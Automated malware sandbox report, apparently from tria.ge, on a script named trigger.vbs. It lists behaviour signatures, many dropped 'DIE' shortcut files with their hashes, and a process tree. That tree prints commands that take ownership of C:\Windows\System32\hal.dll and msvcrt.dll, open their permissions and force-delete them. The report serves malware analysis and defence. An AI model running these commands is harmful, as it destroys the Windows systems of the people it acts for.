Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/07/2024, 17:37

General

  • Target

    trigger.vbs

  • Size

    3KB

  • MD5

    200f9345cf839af7b98457b9e408446f

  • SHA1

    57752503ef0c8afe36376f5b2132582682577b2c

  • SHA256

    03bb5d9425464244cb7574cba9929b3dc0e789916b46f2bf5a8e7b533034475f

  • SHA512

    da53cdc6380854f54abea0a9917220dbf20dca448365eaa17a344eba2b1976aeac0f57acbd6244f5c001b3fb1e6e5d94e4fa6ab0ce4a844856e4d1189d98fffd

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Possible privilege escalation attempt 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 4 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\trigger.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4936
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c takeown /f C:\Windows\System32\hal.dll && icacls C:\Windows\System32\hal.dll /grant Everyone:(F) && del/f C:\Windows\System32\hal.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2928
      • C:\Windows\system32\takeown.exe
        takeown /f C:\Windows\System32\hal.dll
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:1260
      • C:\Windows\system32\icacls.exe
        icacls C:\Windows\System32\hal.dll /grant Everyone:(F)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1164
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c takeown /f C:\Windows\System32\msvcrt.dll && icacls C:\Windows\System32\msvcrt.dll /grant Everyone:(F) && del/f C:\Windows\System32\msvcrt.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3972
      • C:\Windows\system32\takeown.exe
        takeown /f C:\Windows\System32\msvcrt.dll
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:1016
      • C:\Windows\system32\icacls.exe
        icacls C:\Windows\System32\msvcrt.dll /grant Everyone:(F)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2364

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\s.vbs

    Filesize

    756B

    MD5

    362834df28860b9ab1aa787a61c9bb9f

    SHA1

    ba008515db84417d15fd97c356e33fdb80379d15

    SHA256

    70866acf071a5b9ee641bad7a206eb3f1e6e27df0bd1cb4cfa25cbf391f60ff7

    SHA512

    ef8f7b5aa4a99c7275c9ba8c27f06148b6e359f9c0f8357f07c685f835c7c8bcfac7b937334b4c9b282b410b300f55d729287a27c5327affe02e8aad3fa918c8

  • C:\Users\Admin\Desktop\DIE101.lnk

    Filesize

    1KB

    MD5

    ebeba54ea9a834b84a627a4a0f3a6b89

    SHA1

    62a451344b09a4fdd97f9e9ad78e038fa6da26f3

    SHA256

    6789313c79a6b39e3420cabe2a4f98a19c29735f86566977cf3c62d665e82c41

    SHA512

    c08aaf6fcff4f0aa757b5b244eb01f8cbe12f6aed4d4a523604972e479812ab18a3a0960b6d2918eaa488112496e9e647cafb780ac5e30b023bd45bfba2fec31

  • C:\Users\Admin\Desktop\DIE122.lnk

    Filesize

    1KB

    MD5

    77a41e6ac07d73bb602e0cb28dcfefea

    SHA1

    c316aee8440f89d55677f7b91a6f7a223dc4be1a

    SHA256

    d558559dc2474efaa3abff57738b098cb419ade5a8741c370d91fd9cddcc742c

    SHA512

    3015bfe27b49a1a28dee36962478962d2f0014f54d94089fb6a1be0a3c678611704caa2d53a81c39ac78dd5e07e29928db78c3dfe03e15f70802bdf71b1825ff

  • C:\Users\Admin\Desktop\DIE138.lnk

    Filesize

    1KB

    MD5

    15d4be2d54b1f2172a8f45d776858336

    SHA1

    04de4348890b97e5d72283fd728a49d4c89725d7

    SHA256

    fc1454b7b904dc3e02fac933aa12fcc55deead7330fdc6d31f309da3773c5d77

    SHA512

    41ff1a4f30f18862ffade960371fe1da963a1c7b98357753d31db4ecd8d5f93f4be9c0d17cd50009169d9d1d1290492ddc1241b8f92ee05af4c1b491dfa7476e

  • C:\Users\Admin\Desktop\DIE150.lnk

    Filesize

    1KB

    MD5

    6c2cfaf0ec130724f341ffd676ed7d4f

    SHA1

    4732e8408b70281970a862a239f8fe3a37b44d28

    SHA256

    13db5f9027ddc484fbdd1c5fd95e690f6e2d1cab6be4d7f218ea18bff6732cab

    SHA512

    c8195c9a3918c3cdc65eb1cb51b69844c51a8e6540489dbce9d1e363ee8ae966a331ed2ba9ca46c65128db4933fedb772ca636bac93748cedd2c437ce3ae5490

  • C:\Users\Admin\Desktop\DIE159.lnk

    Filesize

    1KB

    MD5

    01b0289e450ad75e8d82453e48627674

    SHA1

    7d94021684a5a26a9881cb3bdaf75b51b3061c79

    SHA256

    e33d6aa75b64b52d2c39e78e21233e56ce71602365d407e135901de9edc49c9a

    SHA512

    23f328ec256630dec2ae5f480d8eefae1750240c5134544aa110914b8679abcf3a2aef155020acf8412192f674f7358ffc1a6b5f6c1d28ca507b2782e3c80a21

  • C:\Users\Admin\Desktop\DIE175.lnk

    Filesize

    1KB

    MD5

    3b51001c1281896730e6574885fe0b95

    SHA1

    2803a6f4b3b5043eea14b9ce277413fc287fc247

    SHA256

    d2ec7e340a6389e0afd2131ab0c15e23d3ac6b8a483503f46376f14e9f6c4cda

    SHA512

    16c0bbee76bcf1aed420b9222bdf59557f56b5c6dd34c96576c7d31d1d41a78c1911695b4dde37b91ca2dd82612306104be1c91c32e2ab504de1efdc0357f1c2

  • C:\Users\Admin\Desktop\DIE183.lnk

    Filesize

    1KB

    MD5

    272079e65fcfcb63da9c5dffe3282e01

    SHA1

    4e91d8c250a52d481c3793d761092100e825462a

    SHA256

    02173520ef8b5396454f04abbb1e875533608b8415643ad4567e2585c4d02c19

    SHA512

    29455bbde054f7685a54863859539d9592bb3c749c119bc67356c5145f45bc42d7e169232a9649cfe192e4fc28e7a9f7439e2f17f409bb82e2fa821c72405491

  • C:\Users\Admin\Desktop\DIE188.lnk

    Filesize

    1KB

    MD5

    f019b388aff4c86d908963544d60a365

    SHA1

    1a7ac9501f687f6c973ffe6cb932333ad8c9ae52

    SHA256

    1a2f89889ff64f8e45ee9dbb8f3a674676263e7517e4c7a21d70634e0f713aab

    SHA512

    04f25410f02e4567e490c29d55414b9d810e49497b4e36033bdf66c1c45cb22e4e6e85713731cd3149442b7022142ce88a63e4226ea5a42677070ca7a17b23eb

  • C:\Users\Admin\Desktop\DIE194.lnk

    Filesize

    1KB

    MD5

    92abbac71dcc370fe4bd418dcb5c7434

    SHA1

    47e5ad822fbfde899b522aa3bf8ded0b7b04ace1

    SHA256

    e04e7855a7570423e10e271288ec6f84f524f1e01dec4aa9d94402fed8df1c5b

    SHA512

    780d2700d5cca1b6f500a8546cdaa4881634f57c6d3b2361e59f43b305a25ad0e5a93a45664a1e08481fefae5e0b356a7b6a7ea41fd2280b97b8fde9c346eab8

  • C:\Users\Admin\Desktop\DIE31.lnk

    Filesize

    1KB

    MD5

    7ba6a6c9a39dc11eec6c003bc0fadcc7

    SHA1

    840656a3ffc16b439cdf98014735be24db06494f

    SHA256

    e9ab39087888c709e46f0ac27f146d70ec83fa96456886c9217a76ba29016f5a

    SHA512

    c7a379e75f88615667be157d47236ffe58570a2f84daa8d7994ece8d154cd1b666a27ff6803f30c3cb3d0b97a8daf82b276c0c7f5f8e0494fac20977cf482ee9

  • C:\Users\Admin\Desktop\DIE43.lnk

    Filesize

    1KB

    MD5

    a9d2d185a2820507c8a223ca51da060c

    SHA1

    b4d92dfb1d2f30a1a95596279568afcc6829c9ae

    SHA256

    8a7e3997e08057a48c7aadb7927a8ea1c67b931af9f2823bc93f902e74b256d3

    SHA512

    71c5ef7ed0b39757b3e2091a65e37cd9b46348245d8c08987b6ba9bda89588f1b22eb82dff67ec31d6643017ed88ca127dc977c3bb18a58bd982afd9614ee107

  • C:\Users\Admin\Desktop\DIE74.lnk

    Filesize

    1KB

    MD5

    c89dd3c5c856bbd848cffd5960c2c1dc

    SHA1

    daba65c21d8776ded12667a7d2d98a85f8a860f1

    SHA256

    c2abbfd9a8c476975e64a30f643b8e8d70506e326695dd445be10865d70b4b3f

    SHA512

    339a8f9f0f84eff81f18945d44a5ec21551cd6d5251addc22f8c4d4c4aaa3e0c8a176d7382cff25ac71e91e2bb6496cd504c3e1ea81b0122c54083dbc984b226

  • C:\Users\Admin\Desktop\DIE89.lnk

    Filesize

    1KB

    MD5

    4d380e15f7a55715a0abc94946d97bc1

    SHA1

    4132a551130fa324d6927fe10ac64e20a7c70d72

    SHA256

    c10a21b8137f687ac9c02ba75a891f6695700808a991c34e584d909f13290009

    SHA512

    a09c68bd794da1c8439772ac128347c3fccad261aae8239afc44d44a6980d97080d96404448f324a991279ce3adb3408bf146657565e001a3b9ea5a404d702a8

  • C:\Users\Admin\Documents\DIE103.lnk

    Filesize

    1KB

    MD5

    79a11e4ed8b6eb1d7654e1a26cc947a5

    SHA1

    4962d57f8800f8b7370e74e72c30f98eb59f562c

    SHA256

    4e54b818c6840f53d99eb89aab44198565aa660e602eb2609558dbae9dfb5f30

    SHA512

    c50c14a9b7b463ea4a65f18c4e523edb70f22febcf9e7427a815003c121b0dd76800ed37f77f65c10037ebdd29b2374a39be9531519496085d88d0681509ff0c

  • C:\Users\Admin\Documents\DIE110.lnk

    Filesize

    1KB

    MD5

    d88593855c340ad5e8ea0b4ed5876ef7

    SHA1

    fa552d2420c7f0f9c74f30c107a7410bcbf0a1a0

    SHA256

    68c92c59417ec91c7ba8d0262cc5c05395eeb7e2925c3396fe45d403067446ba

    SHA512

    e8c3f8474120c10ebfffe3a6723dc9feb92deff3b17528f53e22197cdb8582e86037e09a7074340a3d767e74e8b515fdd4246a46a26fbb97fe8fbdbf22317daa

  • C:\Users\Admin\Documents\DIE115.lnk

    Filesize

    1KB

    MD5

    39df1f1d803f47736c92770074d88291

    SHA1

    97051f20c81249faccd256ea25a504a3e4e041df

    SHA256

    e540e3a6c91a31d2c83bf03fbc9223382dcd03dd8abe392fb0fe55a87d501161

    SHA512

    68bffcb42ef58ad74c61df537ed2820a3b7f03450676464eabfd04bcd9970ef23a6c0fa97bcc5941272dfb7af74d0d7183cf6de100c38ebb3d7ccfc6c9dc01fc

  • C:\Users\Admin\Documents\DIE179.lnk

    Filesize

    1KB

    MD5

    5603e0aede9214e9cbba049438040118

    SHA1

    19de7d880aaf2e5da79d23d015f0dce3127ff19a

    SHA256

    398146509e50fca083c8133df8cbe45736e78b507040e4d21aaa95455b192da5

    SHA512

    cea4093b7c3348e11405569902ca06b787dea70ece712530c4777da266dba07da9389d08bc7189c69e542791963ff8bd17ff20e9d647eb6b79c0eb601e74ffc0

  • C:\Users\Admin\Documents\DIE187.lnk

    Filesize

    1KB

    MD5

    2cdc918c76bf8218ba11a0d71867127d

    SHA1

    0602578743adb14e5c4a10d784396ced48a4ae5b

    SHA256

    0fabc4b83bdd6a2d6f61e0bf50939592f5c0796faef60b40f20e84b8aef8a291

    SHA512

    50ba77499dcc74e36e361a3ace9a4a4a44765cb8e7055bb14fdbfcda7fd586ad73980839744b3e5ea006dc9cdd28920a8586fc28fb9d186ae035ec6659be1d0b

  • C:\Users\Admin\Documents\DIE192.lnk

    Filesize

    1KB

    MD5

    7829a9d02d255c8c0c68dca006586c4a

    SHA1

    22fd13cc669ab7a2ddfd92a8fab7203f71c1ebcc

    SHA256

    15f82df68824752c087450b0340d4239fd8c524cff608ee8d61d02b742a6abae

    SHA512

    63008175a40cd29310b0924f0a6ffe63fbbd639f0a528f42fbb087fd82086493b87bd81ceac105411d07e2f7f4864d529843f2dbe399a4b3533ea16375256079

  • C:\Users\Admin\Documents\DIE20.lnk

    Filesize

    1KB

    MD5

    9bf7e6ac48933f7541e52873c47a2f4e

    SHA1

    e03a31e2dce4f3f5f3deb17a0ec60b9ebbbe519f

    SHA256

    57c93423cf4e35a3fa45209524da1cbfe7dd88811ee5d9e3c2acefa1d8f270e7

    SHA512

    43f482d672bab98e6b3be86e2dc6a3bd2a32b22504cbfb172715bc8798564d2cb3ee60aa0d456bca6307c6b8da53e587174664b17301fc0c91b650421e0e41a1

  • C:\Users\Admin\Documents\DIE26.lnk

    Filesize

    1KB

    MD5

    079c29ba10f38dbd4b57ef19e59eed15

    SHA1

    4be4f94bf0a8a5f0b576ba6b8793e4a1e4bb91c9

    SHA256

    cc17fc0046c1678b78add2c5a62a0d0af686c8389a1315b107d5c38c6aa70621

    SHA512

    29f2357e1a027fd8f8c54ddfd5ce66ae8f522f37b76b518ba84496e2d1d804e58ee12fa0d462307d33c343c1da231128475891cc24cfab13f4bdf5cfb94cb05a

  • C:\Users\Admin\Documents\DIE31.lnk

    Filesize

    1KB

    MD5

    7c58761f45287b0fec65bfc644d6e20d

    SHA1

    6a2fc8cb3049a619b13855ffb576156d020908bb

    SHA256

    7a1eee94617520a0fca216f35e0ada6492e384ba54f105d09a1fb82c0bf7afc8

    SHA512

    08eddd606e9f422ca37e1c8d439f6c7f5313ffcc81f2a3d89b3237f3cc98b1c561592d8c5a54db1893b025b732d569177b84787877638c26a7f7a988c3022147

  • C:\Users\Admin\Downloads\DIE107.lnk

    Filesize

    1KB

    MD5

    564148047f65a42da39217f787c28400

    SHA1

    a5ce7161720e49fcbff85c162b6567e0ffa30641

    SHA256

    7b700106f673a0b5c3536ed7f878c6330fde501f9cc29ec19b26981828782a20

    SHA512

    9a5baef66bc685502bb06bb6407656c94f8d6c164e68fef7b91b28479335f8185c2baee2504d4803c3a8c1ec713e9a8e652e44c5f021842da24c21090bc37de1

  • C:\Users\Admin\Downloads\DIE115.lnk

    Filesize

    1KB

    MD5

    fb169a2337c6595af524c9111ce76a7e

    SHA1

    1bdb4f28c56043b76898e7185687dad5a3f4ff83

    SHA256

    77d19851cb24fdcf990a34f074c7d9ee4f8ccfe3b5594391973651b7b7b70779

    SHA512

    bed2d4dc6b49c0233eb89393a2e8ad6a55e0bb567e0e7120e3f80661ee4caf937e26941395662b0bc491f61698bd8621bc295adb0f3071c8c455085a5c39d455

  • C:\Users\Admin\Downloads\DIE141.lnk

    Filesize

    1KB

    MD5

    400b1140c4e9ac06e65cb252f205114c

    SHA1

    cfef1c4ee239d8dacb0fc58d717d4ed91eb36fad

    SHA256

    26cd21cd399b247c2d79deee1f820eae7390a459ec431e4d0038bac103b406b6

    SHA512

    1debc49e7dd50ad1ecd150666a4776ca2bbab3cba545a4b1faec8266441007b6ce136d9c0b9a44642fe9b7d3a5c7833f6b2d2388776fe414b517f5909345e1b9

  • C:\Users\Admin\Downloads\DIE153.lnk

    Filesize

    1KB

    MD5

    c59bb88d03c4b5caa981104d5dac03c2

    SHA1

    944c175d290096dbf47bab5df9c86844a9157ea0

    SHA256

    9833584d5530b952ac6b270c6e0a8c3fcaa47a0264e7670d64707ba61c5c505e

    SHA512

    dd6ab3190a1a16714cb6d43bd4fdc7b29eae33e46388aa9f3009d71e9a22f085ed939f71517ba1caf4e5110065a2d95e88508bf6c943c52f29413e2e3ea8e964

  • C:\Users\Admin\Downloads\DIE17.lnk

    Filesize

    1KB

    MD5

    a3f233b251386af11b124b5aba774bc7

    SHA1

    5c8d4f245eec5f984f1f3a83108b3c1f02e2a5ba

    SHA256

    35b1eda5e1671fc3d3fcf86adec2fe8b76eaaf9575eb91ef3c94f1b0de415dcb

    SHA512

    86731fe294dbafc8ba3d552a6d9746b2421a052d021166b826065525c0b647556bb93e57ce1c7885d0445e11448c24dd5eef294e7005eab28f13eb67dea74d25

  • C:\Users\Admin\Downloads\DIE172.lnk

    Filesize

    1KB

    MD5

    9560166e4999f95c5c044ae36f8e00a5

    SHA1

    029a34980574243b7355d7d229f8900585d2ad4d

    SHA256

    152cc8fa01477ea33adaf7736dc840e6e272184c874cf03118b330d5b88f85e5

    SHA512

    e20f7ba3e79a64846a826e545112fec414cd53d0f321796a724dce37c2043b212e686f0b4cdaadd66ed3160865b2a85534019440fe2bb2dcdbc85e7d8737ae43

  • C:\Users\Admin\Downloads\DIE181.lnk

    Filesize

    1KB

    MD5

    2ba4761437a93bc52bc05028a09d6c5a

    SHA1

    2025450ab449ba0cb5532e7be0da1f8910c4fe0f

    SHA256

    c1fe9d9db18391175fd6dc2b6208b2ba8cbea2c8db622a6c8d7fb08f054dc41c

    SHA512

    6067a2a0e3159a0f8215d7f2757a7c86d5d31d95acb7426379c2f30acf88255fa7431b3e57726b88ceb44dfbebf2db217bc281035fc1f03074487c8365a980a1

  • C:\Users\Admin\Downloads\DIE196.lnk

    Filesize

    1KB

    MD5

    e13744ed294c24adae737c40bf337581

    SHA1

    ed920a99e53bc02b12d8c21605713c95de90351f

    SHA256

    d09aedf77716cc0dc1af9c096f51d573d833fa7a3ed82946a522cdc04ada5ce8

    SHA512

    8d0f75e398a8d32d2ce721e3b4a9b13172215248c42f91eb465cdbeb9bde6566b0a705d77629ef54aa5641a06c3a49eaff84dfc87b740b0cdaed6e698a953a03

  • C:\Users\Admin\Downloads\DIE33.lnk

    Filesize

    1KB

    MD5

    a423963fa772c8448ead4be35466321f

    SHA1

    1dc76b5b61b39cc42399001b9d7e0927bb2ac049

    SHA256

    ad0668a4b8fa8c13187855164b49fcd0a2246b8e0e04c39788996ca755fb36e7

    SHA512

    6a7ab837bf11197025f53f4109e32f7ad56ef2f58269931bd51f0a05de317a6ab469dac36cd41c8f7bcc4617d662823a442746f1bb29a4fc7e7b48133173867b

  • C:\Users\Admin\Downloads\DIE46.lnk

    Filesize

    1KB

    MD5

    bfcc23120a511f4fe8a10a7226eb9c7b

    SHA1

    a932e5d0bb92e18ca70d812d0e4569d9a69154b7

    SHA256

    c374ed4665ab529fb8f770f55c8d1d0c4f672807ccc14a78d2d063dc58857df9

    SHA512

    f9c1956b083269ea380b780cb1afa8a8a551cb47d55a915c883f1160472a7b0b418b77e99e56a24e56267a0ec468bdb939ce9d337bded4507d994f36c9afe29e

  • C:\Users\Admin\Downloads\DIE5.lnk

    Filesize

    1KB

    MD5

    9e0e2601528193bdbf04e392240e01ff

    SHA1

    72de1dad30dd48b19561047f582bec5bf3879321

    SHA256

    8a45343df9fe0c68c753021c7cbf53220bbface093a767dfe8107727a6ede1ea

    SHA512

    601354bf11ae7e029f29346e3153e3126ed66a4eead69464d37786fb3bab9d44fcec67f3d0cb5f64bff7e9df9be61ea575f84f765eb63c5ca7799f5ba7f97bde

  • C:\Users\Admin\Downloads\DIE56.lnk

    Filesize

    1KB

    MD5

    c9c2f504ccaa379e45a563267f44e214

    SHA1

    4bdbaaf9478559e7ae432ce9041e5ecf8408ff41

    SHA256

    0b489934619211ffb787154d6046193e07b4f6eb2482b936fdb6767b99e2ecf3

    SHA512

    ed2a8cde2d96b1fddbee36deed8dbf81383e9a3bf2663debe71d6902a4ad82c5a49a305e52a03c9026c4a6f5b942c55194fed4ce18a781c7759f22372b3a10cd

  • C:\Users\Admin\Downloads\DIE61.lnk

    Filesize

    1KB

    MD5

    8275e81a84065eee7d6b377620f9c569

    SHA1

    a15fd21c7f0fb5888e2da12f0d09d2f6b0dbb64e

    SHA256

    1e3cd44eadcc91d70bf2dd87fb11e0d0113d349480c641bd09947bd43a921586

    SHA512

    ee406086c94c76ed3f17a3eb8f938ece632c1ceac30a51e01c80fd772b3565b86a125741e062bce8c5824a8fd011113ee074ae24b75b93f02c8b15cc82b9a536

  • C:\Users\Admin\Downloads\DIE92.lnk

    Filesize

    1KB

    MD5

    446f9ef9d8171ca90058194d9af38dbc

    SHA1

    9976485d673643fbe6f93ec050153ac564b3b04a

    SHA256

    f8a6681572e4f966f6a1d4724c0df8cd984fa44552ab2c1c20955b9ded8eb3fe

    SHA512

    309a1086381d9aae4f0b60f832557e4af5f97c612c477345877edce41be9ed0ef2c78ec77b4a03986ca42a966f990a5d8d6843330edc4a8f886f3e5d9936b8be

  • C:\Users\Admin\Downloads\DIE99.lnk

    Filesize

    1KB

    MD5

    82ebcd299b709f5d3d979b8e294f432e

    SHA1

    a22df0c059d52120643bb43a44e5a70ee6eeb33a

    SHA256

    7788c3baa029aa5dde5995a85e7146029103a6a12bb8b791a2d94972f80fc8ae

    SHA512

    87ef6c94f1db89b46deaa8614415567db2ce198dc39d1f410f59770cb73c48852b23e18e5c2643398ef11ea74ecddc57d5faf514de5f60c301b71a114eaa3d8f

  • C:\Users\Admin\Music\DIE105.lnk

    Filesize

    1KB

    MD5

    7f5280555e9fe90935f2951c974da5e1

    SHA1

    f93be7dfd289b32640ce302c56cf7c0c34ceef56

    SHA256

    aaa597b8338e2f2f8a6b3fe15c60a4aa1c1f1e638523f7b0253dbfe25bc07bb6

    SHA512

    7dfc9f3b335455ee7b2fbf3036f2660ec332680ff52e7880e225b2bf3f27d9ee523ab88bd05da4191a4e030c5aefcf8ba2edd2ac70fb01ed1cf7873fddee55fa

  • C:\Users\Admin\Music\DIE114.lnk

    Filesize

    1KB

    MD5

    26d03a6e8a1d3a16d671174a36502c91

    SHA1

    05f46f815ccad80d989f1c7060864dcceba98f8e

    SHA256

    51999cc234790840a7f92f372e6cfd3a120a3577d386d6005f7d2a071b405ae4

    SHA512

    42ff660a874c3b8aa99c31a7857b845101227ae5816bc4b2b6e36f9dc3f5da2bfaa8e8c6232b09e2475d87874d6fe5fc78e5e115ca8b95aad12cf7848207ac4e

  • C:\Users\Admin\Music\DIE129.lnk

    Filesize

    1KB

    MD5

    39fb8bc6515aa1ecabb1c5f35a2c9be6

    SHA1

    7b756c4c1e93edcbb7e270420b0745be654e6c25

    SHA256

    2ac1460379f957486f086862fc015c6b38f8d2beb24981a43d4cd71089b23b07

    SHA512

    f4611b5410f4dac2040fcf071bca1afb1e163479786b5fb55961f768d06081c83002c373089e3ccc7ff209872c22ee286772cb173a5f907747a22ce05e2db9c1

  • C:\Users\Admin\Music\DIE134.lnk

    Filesize

    1KB

    MD5

    c80c1e4d3f9da40e6b49e6968f382033

    SHA1

    26b2528212fd29d0f5c9c86ba80c9339ca7e1242

    SHA256

    510dace359cc5bb66e63a49b66418bc6207377d26f7b186999a42636a146949c

    SHA512

    339f0cbba73fd4b7380fdaf5cc65440968e24ca5a768fa0f2437fa8ca4a13f5421d27149b04fa606e74095d9ecb569588517d6e9bd2f67cfeb2f110689d573e0

  • C:\Users\Admin\Music\DIE139.lnk

    Filesize

    1KB

    MD5

    ec658d8fff65e09b39d6b1e11dd09162

    SHA1

    0ac1f4a727db70f175209652c38aaaad26224638

    SHA256

    c5605a0ac77bfb11e5ba87464676e50695cfb2c99ef1d8354800c03502f4a1a0

    SHA512

    f774682cfa0d085b1a86303125c0a8af38886dccbc4674bbf673032e751c3fa54e86a393ba2f2fa7c479b964afdb38a38cfa3092028e84ea90cb4b203be5a845

  • C:\Users\Admin\Music\DIE145.lnk

    Filesize

    1KB

    MD5

    153280d30c90b36148bac323022e5633

    SHA1

    bd3057ecb842a274547f5cab310658162cd41cd9

    SHA256

    aaa6f89c5c7d42f796f01a69457603a7639f38ff151669eb1147320b9449f128

    SHA512

    8e2b48015915941e8910df7334c3d044e8a6ca1abbb5ad48a324fb3a5b121d60c020d000590373a5181d48d9a7276456b4bd34199d71a9bff65be6256238a02c

  • C:\Users\Admin\Music\DIE17.lnk

    Filesize

    1KB

    MD5

    003ea4a441bfe033483f84697f4aa6c4

    SHA1

    81535d619f2b43358f84e5d68314023f3eaad441

    SHA256

    4a76b2f5891b4a9dec74363c2a208a2a32e656312ea5a0d1a88d6d96a86a4761

    SHA512

    e4f1f59954ec3652d7ee1a8ac89a78a2df9085f3b3081acf20b6c12b4f07b75b58f05132535796997f107c396368ab5716d5563b745115d435e386bdc95ae268

  • C:\Users\Admin\Music\DIE181.lnk

    Filesize

    1KB

    MD5

    7d74864eaaaa67481f5513773fc9c74e

    SHA1

    de25ab2860e3f429a9df8452087b3a02002fff47

    SHA256

    3de37a9ae396d3bef18ba75c246353d034f3206b998732c0087d94b04117d641

    SHA512

    d272a77d22665206a96414660b9724d82898b47181bdba3f15d3e0df991e1238a66fbac6cdd171be4de8518f019ef3b8e2bc71d0d620184f51be2e3e25334101

  • C:\Users\Admin\Music\DIE32.lnk

    Filesize

    1KB

    MD5

    79870626baf64dd0ffebad8099bc3b8e

    SHA1

    f4e834a72f483775606c30c10ad315401d8e256d

    SHA256

    afbc6521f37fed264a3de2b7b98158ba015d1d4e7671bb032603881e4112b4fb

    SHA512

    d7b9ae9975b11c263a40889b468f772a4a2791880732fce94d62ee4babca55913656ca3eeee6bbf14d20e91e33f7509d51ca79acd86c46fb4cd411af783e77ba

  • C:\Users\Admin\Music\DIE4.lnk

    Filesize

    1KB

    MD5

    1f9eafee4e2703188c772c4b7f2265f7

    SHA1

    5c1b43e78affbefd83b0765fb41b228697f1da6c

    SHA256

    63e97b557f7a6b9e180b9c11231fabce756d915bf1657f0f9439fb67d022ffa8

    SHA512

    fb90f5f4ce4203bd3dd4271f4974fb62dbd7e42bf51f3e869ec197edbffdba560d0ebe30649cff99cab74ed0d31e542041dcc2f5d6468f6b25dbd4d9e1ae7115

  • C:\Users\Admin\Music\DIE40.lnk

    Filesize

    1KB

    MD5

    3dac34742c39eeb589fb1cba818f70ad

    SHA1

    12a6636b42f9ac2e064d5e69e25221e212aff120

    SHA256

    7354ac1d43b6bbaad3bb74ac97f1c5383be8e649e168e810eeda562de958f654

    SHA512

    6c6f82937789aa17a3714ea512cedb6c6ac04ebe170b150dd5d4258eba2725d4ca7f48cb676673daaaaaa2089712f6727b560366707af6cc8bafde9b9f8717c1

  • C:\Users\Admin\Music\DIE49.lnk

    Filesize

    1KB

    MD5

    05bf58fe2dd1f15d0ed2f2b35cf64c9b

    SHA1

    3438d4f249ba92313b7bb7c63a0b4d64edbe15f4

    SHA256

    0d15142d47dd1c63b40d088141d39525f23522acff4f610a8f4baa54b8ecfb27

    SHA512

    54e19f6d4d849a12dd59df7dc1d6129fb9e9d3a534731eb59954f0d29c86821dd1969fea17cd7264e82e1e667d64e85f72b9ecaa4849ffa3420ded5bdd02cf66

  • C:\Users\Admin\Music\DIE67.lnk

    Filesize

    1KB

    MD5

    e5998e5d312e9c9a09d77f853673996a

    SHA1

    4e50cc9a39a1f27a62b738e8d770faacb56aa7a9

    SHA256

    f3cbcc1c3eeda736a21dd286a0bb0c28ef08aa929ced9afa4abf45a7b04f7b06

    SHA512

    87bbdfeacf44e1c74c8827aa3c2e1bd72aac0a82e0970428d1b18759b5fc866c6447712c4974f6f326d62fb6e54ef005cc223d2af8be62b5de48656d0cc0616b

  • C:\Users\Admin\Music\DIE82.lnk

    Filesize

    1KB

    MD5

    990f5fdd0291a371601ee9484dc3a186

    SHA1

    00753c704c8f0dcdcbd1fc4d598228c56b05ab8c

    SHA256

    262df71b420ce28a1a2ba22d9010768286601fcd37d5b4d1db2942359b833866

    SHA512

    4eccb5cd0988ea91b4773b6d35eacf0069655c206bbd65720e2eb0b3b6a6f7bd115c15a12a5abd2c1850f4b8279c74845f576f60e82c8eea617ff6a47c348335

  • C:\Users\Admin\Music\DIE9.lnk

    Filesize

    1KB

    MD5

    42978fc0f2ab6b501e40c0ef04d20bf0

    SHA1

    26388b961bc2ca5b82a5d16f062345f2d51734fe

    SHA256

    84388d5c3ae80f280f63fdcd6b9721bcdfb7585dc549aa0997b43f9e2268dd04

    SHA512

    73b5a50046ad7f92a7130c8927878d2e1c4459bd1737cd525b05640730c5e0684e96f7779430a9e739a7581213119eb04167451fbf629f96844ffda36a8c7168

  • C:\Users\Admin\Music\DIE90.lnk

    Filesize

    1KB

    MD5

    dc83373b885c5fe10048c2fa5d286acd

    SHA1

    3576e3eada0a2e004d47df452dffa02d1bb0abf2

    SHA256

    01ed2a3fe8f8bf1be2d7ca66c31838e6de79bdc34db1e6ef00e0f6113ec4967d

    SHA512

    2d23dd86effff1f6c74ac0f8e47b64f0ad49e8f6bb04c80ed80bddd3d3e0f8ea326018f56bf3d06ec5821e2fb7d176414d78376aa54ec7995a6cf94cf2ac3357

  • C:\Users\Admin\Music\DIE95.lnk

    Filesize

    1KB

    MD5

    82d4eeb434954e0b5a11fced6bf8f681

    SHA1

    2e2e1f0f0c18f38c68b981b8c127e684e4139628

    SHA256

    fce7edbf977d5a4ed445ad863de6595458693ae6db5288cc4cc5fc608ef1321b

    SHA512

    e3012df5ae51ff2ba587663d7d5d7ec0a9a90a61f67577340baed2625f0785c3c4efcc073e06dde89fba1253d32e275973ed94b9e80879256a75fbde931b9df5

  • C:\Users\Admin\Pictures\DIE143.lnk

    Filesize

    1KB

    MD5

    0cb58e6ed95285a56d57f492052fd6a4

    SHA1

    515cf04c6b6559f942c08c1db9714cad032466ae

    SHA256

    cab30a5209cfe5a5ce74d75b278a7d3da95e8db13c562655a934152e8cedaa43

    SHA512

